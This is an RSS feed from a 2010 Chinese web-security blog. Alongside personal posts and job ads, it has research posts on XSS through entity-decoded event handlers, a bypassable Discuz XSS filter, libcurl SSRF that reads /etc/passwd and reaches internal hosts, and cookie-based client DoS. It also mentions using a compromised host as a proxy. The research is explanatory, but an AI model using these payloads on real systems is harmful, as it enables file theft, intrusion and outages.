<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[WoYiGui's BLoG]]></title> 
<link>http://www.woyigui.cn/index.php</link> 
<description><![CDATA[关注 Web Security]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[WoYiGui's BLoG]]></copyright>
<item>
<link>http://www.woyigui.cn/shenti/</link>
<title><![CDATA[革命的本钱！]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Sat, 24 Jul 2010 11:45:13 +0000</pubDate> 
<guid>http://www.woyigui.cn/shenti/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;和我熟悉的人都已经很清楚了，最近我身体很虚，好几个病加在一起了，大便出血＋肚子疼＋眼疼＋头疼＋全身无力,让我痛苦的度过了一周。<br/>&nbsp;&nbsp;本来就一个眼疼，后来扩散到好多病。。去“同立德”医院挂了两天的点滴，效果不佳。。。今天早上起床，又大便出血，有些担心，然后下午和ben总一起去了浙二医院，拿了百十块的眼药。马上折道去浙一医院，看肠外科，被医生无耻的暴了我的小菊花，啊！！！！然后确诊为”肛裂“，给我开了几百块钱的药。。哎，大悲剧啊。。。回家一看药的使用方法，还有两个直接塞进行的，擦~ 想起来就难受啊。。。看了三次，花了 800 左右，真贵啊！<br/><br/>好了，文章的目的是为了希望自己和大家注意身体，我决定做以下调整：<br/>1、朋友喝酒--->朋友喝茶<br/>2、在家抽烟--->在家看书<br/>3、其他无意义的事情--> 逛街爬山<br/>4、多吃水果啊，多吃水果！<br/><br/>上上周公司还搞了一个宣传，有一句话叫：有时间看住院看病，却没时间锻炼身体！<br/><br/>祝福大家身体健康，革命本钱别丢了啊，不要学我！我错了，我改了~~~~~~~~~~~~~~~~
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/me-Swim/</link>
<title><![CDATA[我游上来了]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Fri, 11 Jun 2010 17:49:11 +0000</pubDate> 
<guid>http://www.woyigui.cn/me-Swim/</guid> 
<description>
<![CDATA[ 
	是的，从上次说到“决定潜水三个月以上”以后，三个月未发表任何技术文章，倒发了 4 个招聘信息（现在招安全的人不易啊），现在我游上来了，不再潜了，因为我深深的了解到潜水的坏处！简单的总结一下这三个月的事情吧：<br/>1、工作<br/>&nbsp;&nbsp;&nbsp;&nbsp; 工作有了很大的调整，从中国北边跑到了南边，离家又远了好多，不过目前工作很好，深深体会到了一句话：快乐工作，认真生活。<br/>2、爱情<br/>&nbsp;&nbsp;&nbsp;&nbsp; 这个很悲剧，经历了一个长达 1 个月的爱情，让我重重的受到了一次打击，现实哇现实，本地人一般都排斥外地的打工仔，这不可否认的，很心痛，这让我心理上成熟了很多。还是村姑好哇！说不定过几年经不过父母的催促回家娶村姑去了。。<br/>3、生活<br/>&nbsp;&nbsp;&nbsp;&nbsp;不知道是因为百X培训，还是长期爱情然后失恋，还是对生活的认识改变，认识我的人都说我变了，是的，我外表变的非常离谱，但是我的内心依然那么单纯，幼稚--------这个不是装B。<br/><br/>这三个月来，我自身的变化连我自己都不敢相信，我觉得我应该再调整一下，我觉得工作和爱情完全不能同在，有了爱情，工作就会不理想。如果单身的话，工作，技术就有很大提升！可能是我自己对于如何处理这方面问题有欠缺的地方吧，还是单身的好，很矛盾，又想找女友，哎！另外，从想法上还要更进一步的升华，对安全的宏观考虑还待提高。<br/><br/>本文关键句：<br/>1、快乐工作，认真生活。<br/>2、激情研究，提升想法。<br/>3、强身健体，勤奋读书。<br/>3、出来混的，要么混的牛B，要么回家种地！<br/>Tags - <a href="http://www.woyigui.cn/tags/%25E6%259D%2582%25E8%25B0%2588/" rel="tag">杂谈</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/sina-job/</link>
<title><![CDATA[新浪招聘安全工程师]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Fri, 11 Jun 2010 09:07:06 +0000</pubDate> 
<guid>http://www.woyigui.cn/sina-job/</guid> 
<description>
<![CDATA[ 
	工作地点：北京<br/>招聘人数：1<br/>联系邮箱：guizaicn@gmail.com<br/>要求：熟悉钓鱼攻击和防范、XSS防护，熟悉常见的WEB漏洞，喜欢网络安全，最好有开发经验。<br/>待遇面议<br/><br/>有兴趣的同学请联系。<br/><br/>Tags - <a href="http://www.woyigui.cn/tags/%25E6%258B%259B%25E8%2581%2598/" rel="tag">招聘</a> , <a href="http://www.woyigui.cn/tags/job/" rel="tag">job</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/360-job/</link>
<title><![CDATA[招聘系统开发工程师(安全方向)]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Tue, 11 May 2010 05:22:14 +0000</pubDate> 
<guid>http://www.woyigui.cn/360-job/</guid> 
<description>
<![CDATA[ 
	360安全卫士公司招聘如下人员：<br/><br/>系统开发工程师(安全方向) 1 名：<br/><br/>职位要求:<br/>1.良好的技术感觉,快速的学习能力;<br/>2. 精通php/shell/perl/python/c等至少一种语言;<br/>3.对linux/Unix环境下的开发有一定经验;<br/>4.对网络协议有一定的了解;<br/>5.轻松阅读英文技术文档;<br/>6.认可公司文化,有高度的责任心和良好的团队协作意识;<br/>7.不限工作经验和学历。<br/><br/>满足如下要求有加分:<br/>1. 有网络渗透测试和防护经验;<br/>2.有过open source项目的开发经历;<br/>3.对网络安全有兴趣。<br/><br/>岗位描述:<br/>1.公司内部网络安全防护和信息安全管理系统的开发;<br/>2.参与安全事件的排查,跟踪与定位;<br/>3.参与日常的信息安全管理工作。<br/><br/>工作地点：<br/>北京<br/><br/>简历投递方式：<br/>Email:showrun.lee#gmail.com<br/>Tags - <a href="http://www.woyigui.cn/tags/%25E6%258B%259B%25E8%2581%2598/" rel="tag">招聘</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/tb-job/</link>
<title><![CDATA[招聘安全测试工程师]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Tue, 11 May 2010 05:09:44 +0000</pubDate> 
<guid>http://www.woyigui.cn/tb-job/</guid> 
<description>
<![CDATA[ 
	招聘如下人员：<br/><br/>安全测试工程师：3人<br/><br/>职位描述：<br/>1. 负责项目日常发布前的安全测试；<br/>2. 负责引导和辅助开发人员修复安全问题；<br/><br/>职位要求：<br/>1. 熟悉常见的web漏洞类型和原理；<br/>2. 有网站攻击或者防御经验者优先；<br/>3. 较强的好奇心，学习能力强，责任心强，沟通能力好；<br/><br/>工作地点：<br/>杭州<br/><br/>简历投递方式：<br/>Email: woyigui#gmail.com<br/>QQ:283088088<br/>Tags - <a href="http://www.woyigui.cn/tags/%25E6%25B5%258B%25E8%25AF%2595%25E5%25B7%25A5%25E7%25A8%258B%25E5%25B8%2588/" rel="tag">测试工程师</a> , <a href="http://www.woyigui.cn/tags/%25E6%258B%259B%25E8%2581%2598/" rel="tag">招聘</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/barcode-xss/</link>
<title><![CDATA[条形码XSS]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Thu, 25 Feb 2010 13:25:29 +0000</pubDate> 
<guid>http://www.woyigui.cn/barcode-xss/</guid> 
<description>
<![CDATA[ 
	只看图，等成功了再说话。<br/><a href="http://www.woyigui.cn/attachment.php?fid=27" class="highslide" onclick="return hs.expand(this)"><img src="http://www.woyigui.cn/attachment.php?fid=27" class="insertimage" alt="Highslide JS" title="点击图片放大" border="0" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>Link: <br/>XSS, SQL Injection and Fuzzing Barcode Cheat Sheet<br/><a href="http://www.irongeek.com/xss-sql-injection-fuzzing-barcode-generator.php" target="_blank">http://www.irongeek.com/xss-sql-injection-fuzzing-barcode-generator.php</a><br/>Tags - <a href="http://www.woyigui.cn/tags/xss/" rel="tag">xss</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/javascript-decode-xss/</link>
<title><![CDATA[javascript事件解码引起的问题]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Fri, 22 Jan 2010 10:39:10 +0000</pubDate> 
<guid>http://www.woyigui.cn/javascript-decode-xss/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp; 在javascript 事件中，当参数是经过编码的值，javascript 会将期解码进行执行，如下代码。<br/><div class="code">&lt;a href=# onmousemove=&quot;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#47;&amp;#119;&amp;#111;&amp;#121;&amp;#105;&amp;#103;&amp;#117;&amp;#105;&amp;#47;&amp;#41;&quot;&gt;xxx&lt;/a&gt;</div><br/>另外，由于 javascript 支持 函数参数可以是 函数特性，如下代码：<br/><div class="code">&lt;script&gt;x( alert(1) );&lt;/script&gt;</div><br/>利用两种特性，就可以引发如下的安全问题：<br/><div class="code">&lt;a href=&quot;#&quot; onmousemove=&quot;xxx(&#039;&amp;#39;+alert(1)+&amp;#39;&#039;,44);return false;&quot;&gt;woyigui&lt;/a&gt; </div><br/>当 javascript 代码经过编码带入页面，可以利用事件执行时解码的特性对单引号进行闭合，然后利用 函数参数 可以是 函数的特性进行代码。该方法不能直接用于 《script》内，比如如下代码是不能执行的：<br/><div class="code">&lt;script&gt;<br/>xxx(&#039;&amp;#39;+alert(1)+&amp;#39;&#039;);<br/>&lt;/script&gt;</div><br/>由于如上问题，在特定应用环境中，处理与解决 DOM 型XSS 的时候，将更具有挑战。解决方法就是在解码后，再次使用 &#92; 符号对其处理，但是考虑到特殊应用可能有所影响。<br/>Tags - <a href="http://www.woyigui.cn/tags/xss/" rel="tag">xss</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/discuz-anti-xss/</link>
<title><![CDATA[discuz 7.2 的反XSS函数]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Fri, 08 Jan 2010 13:09:34 +0000</pubDate> 
<guid>http://www.woyigui.cn/discuz-anti-xss/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp; 因这个 0day ，看了一下代码，发现 common.inc.php 文件中包含如下简单的防范代码：<br/><div class="code">if($urlxssdefend &amp;&amp; !empty($_SERVER&#91;&#039;REQUEST_URI&#039;&#93;)) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$temp = urldecode($_SERVER&#91;&#039;REQUEST_URI&#039;&#93;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(strpos($temp, &#039;&lt;&#039;) !== false &#124;&#124; strpos($temp, &#039;&quot;&#039;) !== false)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(&#039;Request Bad url&#039;);<br/>&#125;</div><br/>用于防止XSS攻击，只支持反射型的,在某些环境下是可以绕过的。估计是N早加入了，估计是我out了。。
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/libcurl-security/</link>
<title><![CDATA[libcurl函数库的安全性]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Wed, 23 Dec 2009 13:28:28 +0000</pubDate> 
<guid>http://www.woyigui.cn/libcurl-security/</guid> 
<description>
<![CDATA[ 
	<br/>curl 库是一个免费的超大的客户端URL传输库，官方描述为：<br/><div class="quote"><div class="quote-title">引用</div><div class="quote-content">libcurl is a free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more! ]</div></div><br/>&nbsp;&nbsp; 如果我们想获取一个页面，可用如下简单的代码实现：<br/>PHP code:<br/><div class="code">&lt;?PHP <br/>function get_url( $url )&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$ch = curl_init();<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$timeout = 5;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_URL, $url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_VERBOSE, 0);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$result = curl_exec($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$info = curl_getinfo($ch);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($result &lt;&gt; &#039;&#039;)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo $result.&quot;&lt;br/&gt;&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125; else&nbsp;&nbsp;&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;$url: &#92;t no &lt;br /&gt;&#92;r&#92;n&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curl_close($ch);<br/><br/>&#125;<br/>if( isset($_GET&#91;&quot;url&quot;&#93;) ) &#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;get_url( $_GET&#91;&quot;url&quot;&#93; );<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit();<br/>&#125;</div><br/>接着，我们就可以通过 <a href="http://www.woyigui.cn/curl.php?url=http://www.google.com&nbsp;&nbsp;" target="_blank">http://www.woyigui.cn/curl.php?url=http://www.google.com&nbsp;&nbsp;</a>此url来获取google的页面，并输出到当前页面，非常方便。<br/>同样的，用python 更为简单：<br/><div class="code">#!/usr/bin/env python<br/>import urllib,sys<br/><br/>f = urllib.urlopen(sys.argv&#91;1&#93;)<br/>while 1:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;buf = f.read(2048)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if not len(buf):<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.stdout.write(buf)</div><br/>就可以用以下方式获取页面：<br/><div class="code">$ ./downlaod.py http://www.woyigui.cn/index.php</div><br/>也可以用：<br/><div class="code">$ ./downlaod.py http://www.woyigui.cn/phpinfo.tar.gz &gt;&gt; phpinfo.tar.gz</div>来下载文件。<br/>当然了，还有更多的脚本都支持 curl 库。<br/><br/>那么，正因为 curl 的超大，同样支持的协议的非常多，所以安全问题也就随之而来。目前可以想到的可以引起以下几个问题：<br/><br/>1、任意文件查看漏洞&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp; 因其支持 file 协议，所以，刚才的 PHP&nbsp;&nbsp;代码，如果被我们控制了 URL 参数，就可以用如下访问获取机器上的可以读权限的任意文件：<br/><div class="code">http://www.woyigui.cn/php_vul/curl_vul.php?url=file:///etc/passwd</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;这段代码用于获取/etc/passwd文件，在知道网站绝对路径的情况下，可以直接读取网站任意文件源代码：<br/><div class="code">http://192.168.9.30/php_vul/curl_vul.php?url=file:///var/www/config.inc.php</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;python 语言可以直接读取，也可以加协议头，我们用上面的python脚本：<br/><div class="code">woyigui@fvck:~/python$ ./downlaod.py /etc/passwd<br/>root:x:0:0:root:/root:/bin/bash<br/>daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br/>....</div><br/><div class="code">woyigui@fvck:~/python$ ./downlaod.py file:///etc/passwd<br/>root:x:0:0:root:/root:/bin/bash<br/>daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br/>bin:x:2:2:bin:/bin:/bin/sh<br/>.....</div><br/><br/>2、绕过防火墙，渗透内网<br/>&nbsp;&nbsp;&nbsp;&nbsp;假如有一个简单的网络拓扑结构：<br/>&nbsp;&nbsp;&nbsp;&nbsp;<div class="code">A （攻击者：10.0.0.1） －－－》 B （WEB 服务器：10.0.0.10） －－－》 C （防火墙:防止外网IP访问内网机器，只允许 WEB 与内网之间传输数据） －－－》D（内网：192.168.9.2/254）</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;在这样的一个简单的网络环境中，如果WEB服务器存在一处可由用户构造的CUL 参数的页面，攻击者就可以利用 curl 的功能，进行内网访问数据，因为当执行 CURL 命令，进行网络请求时，都是由 WEB 服务器进行发起的，所以是可以实现的。<br/>&nbsp;&nbsp;&nbsp;&nbsp;1) 访问 内网 ftp 资源：<br/><div class="code">http://ww.woyigui.cn/php_vul/curl_vul.php?url=ftp://test:test@192.168.9.27</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;当然，如果确认此机器存在 ftp 服务器时，也可以通过返回值进行暴力破解。<br/>&nbsp;&nbsp;&nbsp;&nbsp;2) 访问内网 http 资源：<br/><div class="code">http://www.woyigui.cn/php_vul/curl_vul.php?url=http://192.168.0.1</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;在很多情况下，很多大的公司都会在内网进行搭建内部网站，或者论坛，然后提供一些公开内部资料可供下载等等，这时候，就可以利用 CURL 去请求内部HTTP服务器的文件。另外，也可以通过返回值，进而扫描内部 WEB 服务器。同样，在有些情况下，也可以通过请尔内部网站，发送GET 请尔， XSS 内部网站，同时，再利用 XSS ping 等方式，进一步做攻击。<br/>&nbsp;&nbsp;&nbsp;&nbsp;3) telnet 渗透内部服务器<br/>&nbsp;&nbsp;&nbsp;&nbsp;...<br/>&nbsp;&nbsp;&nbsp;&nbsp;4) 利用 scp 协议访问主机资源<br/>&nbsp;&nbsp;&nbsp;&nbsp;...<br/>3、在线网页代理<br/>&nbsp;&nbsp;&nbsp;&nbsp; 这个不算攻击范畴。<br/>&nbsp;&nbsp;&nbsp;&nbsp; 因其可以获取远程页面，所以可以找一台米国肉J，或者shell也行，不过要支持 curl 库，可以参数 phpinfo 信息。做一个获取页面PHP文件，这样以后看网页就可以不被墙了。<br/><br/> 因各种原因，另外几种就不提供测试方法，只要攻击者熟悉各种 协议，比如 smb://&nbsp;&nbsp;ftp:// 等，就可以达到攻击的目的。当然，肯定有其他的多种方法可扩展攻击性，使攻击最大化！这就要看各位看官了。<br/> 虽然此库在一般的WEB开发中，很少用。但是在一些WEB网络应用的网站，还是大大存在的。而且 curl 库支持多种脚本，所以在其他脚本或者语言中也可能存在问题，目前我只测试了 php 和 python 。<br/> 这个是官方提供的一个支持语言名单：<br/><div class="code">Ada95,Basic,C,C++,Ch,Cocoa,D,Dylan,Eiffel,Euphoria,Falcon,Ferite,Gambas,glib/GTK+,Haskell,ILE/RPG,Java,Lisp,Lua,Mono,.NET,Object-Pascal,OCaml,Pascal,Perl,PHP,Postgres,Python,R,Rexx,Ruby,Scheme,S-Lang,Smalltalk,SP-Forth,SPL,Tcl,Visual Basic,Visual FoxPro,Q,wxWidgets,XBLite</div><br/><br/>文中肯定没有把此功能攻击最大化，还需要各位的挖掘了。。：）<br/><br/>&nbsp;&nbsp;<span style="color: #8B0000;">纠正：以下的python示例并不是使用了curl提供的库，而是使用自身的 urllib。curl 库对 python 提供了 pyUrl 库：<a href="http://pycurl.sourceforge.net/" target="_blank">http://pycurl.sourceforge.net/</a><br/></span><br/><br/>参考：<br/><a href="http://curl.haxx.se/libcurl/" target="_blank">http://curl.haxx.se/libcurl/</a><br/><a href="http://www.acunetix.com/blog/websecuritynews/acusensor-curl-and-zen-cart/" target="_blank">http://www.acunetix.com/blog/websecuritynews/acusensor-curl-and-zen-cart/</a><br/>Tags - <a href="http://www.woyigui.cn/tags/libcurl/" rel="tag">libcurl</a>
]]>
</description>
</item><item>
<link>http://www.woyigui.cn/Fuzz-client-ddos/</link>
<title><![CDATA[Fuzz客户端存储对象，寻找client ddos]]></title> 
<author>woyigui &lt;woyigui@gmail.com&gt;</author>
<category><![CDATA[网络安全]]></category>
<pubDate>Tue, 22 Dec 2009 12:38:12 +0000</pubDate> 
<guid>http://www.woyigui.cn/Fuzz-client-ddos/</guid> 
<description>
<![CDATA[ 
	&nbsp;&nbsp;注： 发表在了第四期 Webzine，文中肯定有缺点，或者不好的地方。更多的访问：<br/>&nbsp;&nbsp;<a href="http://secinn.appspot.com/pstzine/read?issue=4" target="_blank">http://secinn.appspot.com/pstzine/read?issue=4</a><br/><br/>文/woyigui<br/><br/>目录：<br/>一、前言<br/>二、发现漏洞<br/>三、漏洞利用<br/>四、环境影响<br/>五、漏洞原因<br/>六、后记<br/>七、参考<br/><br/>一、前言<br/><br/>&nbsp;&nbsp;前一段墨西哥同学发现了一个关于http request header过长造成的一个server limit dos，<br/>他那个是对cookie 写入一个超长的数据造成的。那么，我们可以根据此方法形成新的利用方法，Fuzzer http<br/>头部进行攻击。只要造成WEB服务器返回40X 错误就行了。比如，向http的GET 头部信息的URL值设置特殊的符号，<br/>服务器就会返回错误：<br/><div class="code">&nbsp;&nbsp;GET /settings.aspx%22 HTTP/1.1&nbsp;&nbsp; //此处<br/>&nbsp;&nbsp;Host: cn.bing.com<br/>&nbsp;&nbsp;User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5<br/>&nbsp;&nbsp;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br/>&nbsp;&nbsp;Accept-Language: zh-cn,zh;q=0.5<br/>&nbsp;&nbsp;Accept-Encoding: gzip,deflate<br/>&nbsp;&nbsp;Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7<br/>&nbsp;&nbsp;Keep-Alive: 300<br/>&nbsp;&nbsp;Connection: keep-alive<br/>&nbsp;&nbsp;Cookie: _HOP=I=1&amp;TS=1260805184; OVR=flt=0&amp;DomainVertical=omdublin&amp;Cashback=cbtest4&amp;MSCorp=kievfinal&amp;GeoPerf=0&amp;Release=dsf3<br/>&nbsp;&nbsp;Cache-Control: max-age=0</div><br/>&nbsp;&nbsp;会引起问题的符号：" < > % <br/>&nbsp;&nbsp;同样情况，任何http头部字段都可伪造，进行超长、特殊构造，让服务器返回错误。但是，此类的攻击只是单次的，不能引起持久性攻击。就不符合我们本文的目的。<br/>根据http协议看到，用于持久化保存用户状态的一共有4 种方式，分别为：Cookies、Flash Local shared objects、userdata、DOM storage。因为这几<br/>种方法可以持久保存用户的状态，所以在重新打开浏览器的同时，依然可以保持，也就是说假如我们攻击成功，就可以实现持久性的 ddos 攻击了。一般情况，我们大多数<br/>都是利用XSS 漏洞进行 ddos 客户端，所以以下方法我们都使用 Javascript 脚本进行设置各种对象，以实现各类的ddos攻击。<br/><br/>二、发现漏洞&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;我们分别对四种持久性存储对象进行测试，以实现ddos攻击。首先，我们构造一个干净的平台，以防止引起其他错误。<br/>&nbsp;&nbsp;平台：<br/>&nbsp;&nbsp;IIS 6.0<br/>&nbsp;&nbsp;Firefox 3.5.5<br/><br/>&nbsp;&nbsp;1、cookies<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;前人已经对长度进行测试过了，所以我们就以中文字符来测试。Javascript 设置cookie的方法很简单，那么我们就创建一个空白页面，写入如下内容：<br/>&nbsp;&nbsp;<div class="code"> &lt;script&gt;document.cookie=&quot;我是中国人=我是中国人&quot;;&lt;/script&gt;</div><br/>&nbsp;&nbsp;然后进行浏览此页面，第一次浏览正常，接着刷新页面，就会返回 Bad Requeset 提示，说明已经被成功ddos了。那么设置中文的cookie却引起这样的问题呢？<br/>&nbsp;&nbsp;其实，这是因为由Javascript设置为中文，然后由Firefox浏览器客户端进行编码，然后发送http请求数据到iis web服务器的。而在Firefox编码的过程中，<br/>&nbsp;&nbsp;却将中文的cookie给编码成乱码了，也就是宽字符集的问题。我们可以在保持页面浏览的情况下，通过用以下语句进行查看当前设置的cookie值是什么样子的：<br/>&nbsp;&nbsp;<div class="code"> javascript:document.write(document.cookie);void(0)</div><br/>&nbsp;&nbsp;然后页面输出如何畸形字符：<br/>&nbsp;&nbsp;<div class="code">&nbsp;&nbsp;´ø^W=´ø^W&#92;ý</div><br/>&nbsp;&nbsp;&nbsp;&nbsp;那么，是不是所有的中文字符都会引起的呢？当然不是，有些中文字符被Firefox编码后却不会引起问题，而有些中文字符编码会，就会和其他字符进行合并等其他<br/>&nbsp;&nbsp;操作引起的。这个可以通过脚本或者其他手工方式自由测试。<br/><br/>&nbsp;&nbsp;2、Flash Local shared objects<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;因其Flash Local shared objects 是信赖于 flash插件的，而Flash 只是做为 浏览器的一个组件来实现功能。所以，我们不管怎么去做写入操作，最后<br/>&nbsp;&nbsp;只会造成 Flash 插件有问题，而不会造成 WEB 服务器返回错误，因为Flash 操作并不影响客户端与WEB服务器进行交互。在我测试的过程中，写入数据达到限制后，Flash<br/>&nbsp;&nbsp;就阻止写入，无任何提示。&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/>&nbsp;&nbsp;3、userData<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;UserData是微软为IE专门在系统中开辟的一块存储空间,在IE 7 以下版本支持，每页的UserData存储区数据大小可以达到64 Kb，每个域名可以达到640 Kb。<br/>&nbsp;&nbsp;所以首先我们对单个页面设置长度，超过所负载的长度是什么情况，如下面的代码：<br/><div class="code">&nbsp;&nbsp;&lt;HTML&gt;<br/>&nbsp;&nbsp;&lt;HEAD&gt;<br/>&nbsp;&nbsp;&lt;STYLE&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp; .userData &#123;behavior:url(#default#userdata);&#125;<br/>&nbsp;&nbsp;&lt;/STYLE&gt;<br/>&nbsp;&nbsp;&lt;SCRIPT&gt;<br/>&nbsp;&nbsp;function fnSaveInput()&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var oPersist=oPersistForm.oPersistInput;<br/>&nbsp;&nbsp;&nbsp;&nbsp;var metastr = &quot;A&quot;; // 1 A<br/>&nbsp;&nbsp;&nbsp;&nbsp;var str = &quot;&quot;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;while (str.length &lt; 1024*64)&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;str += metastr;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&nbsp;&nbsp;oPersist.setAttribute(&quot;sPersist&quot;,str); //将oPersist.value存储为sPersist属性&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;oPersist.save(&quot;oXMLBranch&quot;);<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;function fnLoadInput()&#123;<br/>&nbsp;&nbsp;&nbsp;&nbsp; var oPersist=oPersistForm.oPersistInput;<br/>&nbsp;&nbsp;&nbsp;&nbsp; oPersist.load(&quot;oXMLBranch&quot;);&nbsp;&nbsp;//载入在名为oXMLBranch的UserData存储区<br/>&nbsp;&nbsp;&nbsp;&nbsp; oPersist.value=oPersist.getAttribute(&quot;sPersist&quot;); //将sPersist属性赋值给oPersist.value<br/>&nbsp;&nbsp;&#125;<br/>&nbsp;&nbsp;&lt;/SCRIPT&gt;<br/>&nbsp;&nbsp;&lt;/HEAD&gt;<br/>&nbsp;&nbsp;&lt;BODY&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&lt;FORM ID=&quot;oPersistForm&quot;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;INPUT CLASS=&quot;userData&quot; TYPE=&quot;text&quot; ID=&quot;oPersistInput&quot;&gt;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;INPUT TYPE=&quot;button&quot; 